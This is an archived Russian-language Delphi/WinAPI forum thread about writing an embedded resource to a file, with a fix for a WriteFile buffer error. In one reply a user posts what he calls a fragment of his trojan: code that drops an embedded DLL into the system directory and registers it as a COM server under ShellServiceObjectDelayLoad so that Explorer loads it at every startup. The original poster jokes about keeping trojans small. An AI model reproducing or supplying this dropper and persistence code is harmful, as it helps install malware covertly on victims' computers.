Форум: "WinAPI";
Текущий архив: 2005.06.14;
Скачать: [xml.tar.bz2];
ВнизКак сохранить ресурс в файл? Найти похожие ветки
← →
lpVoid © (2005-04-21 13:56) [0]Написал вот такой код. Ресурс находится, в память загружается, а вот WriteFile ругается что буфер неправильный. Ошибка такая: ERROR_INVALID_USER_BUFFER = 1784
hFile:=CreateFile(PChar(FileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
hRes:=FindResource(0, "DATA", RT_RCDATA);
szRes:=SizeOfResource(0, hRes);
hResMem:=LoadResource(0, hRes);
pBuffer:=LockResource(hResMem);
WriteFile(hFile, pBuffer, szRes, WriteCount, 0);
CloseHandle(hSrcFile);
← →
mgcr © (2005-04-21 14:56) [1]WriteFile(hFile, pBuffer^, szRes, WriteCount, 0);
← →
Dot (2005-04-21 15:16) [2]а не подскажете типы данных?
то есть можно тот кусок кода где VAR увидеть?
← →
lpVoid © (2005-04-21 16:22) [3]Спасибо, mgcr. Стормозил я чего-то.
← →
lock95 (2005-04-22 20:51) [4]Маленький пример как ресурс сохранит и выгрузить (уолюсь фрагмент моего троянчика) ;)
program Project1;
uses
Windows, SysUtils, Classes, Registry;
{$R sheldll.RES}//наш ресурс
var
MyDll1: TResourceStream;
reg:TRegistry;
szPath: array [0..MAX_PATH -1] of Char;
Sysdir:string;
begin
GetSystemDirectory(szPath, MAX_PATH); //узнаемпуть к системной дирректории
Sysdir:=StrPas(szPath)+"\sheldll.dll"; // преобразуем в стр + \sheldll.dll
MyDll1:=TResourceStream.Create(hInstance, "MYDLL", RT_RCDATA);
try
MyDll1.SaveToFile(Sysdir);
// Finally
except //пуска не глючит
MyDll1.Free;
end; {try}
reg:=Tregistry.create;
reg.rootkey:=HKEY_CLASSES_ROOT;
try
reg.openkey ("CLSID\{69502F20-E8CD-11D5-A784-0050BF44BD3B}\InProcServer32", true);
reg.writestring("",Sysdir);
reg.closekey;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey("Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad", true);
reg.writestring("MyDllLoade","{69502F20-E8CD-11D5-A784-0050BF44BD3B}");
reg.closekey;
finally
reg.free;
end; {try}
end.
← →
lpVoid © (2005-04-22 23:17) [5]Так конечно проще, но для троянчика это жирновато будет, меньше 150кб никак. :)
Страницы: 1 вся ветка
Форум: "WinAPI";
Текущий архив: 2005.06.14;
Скачать: [xml.tar.bz2];
Память: 0.45 MB
Время: 0.036 c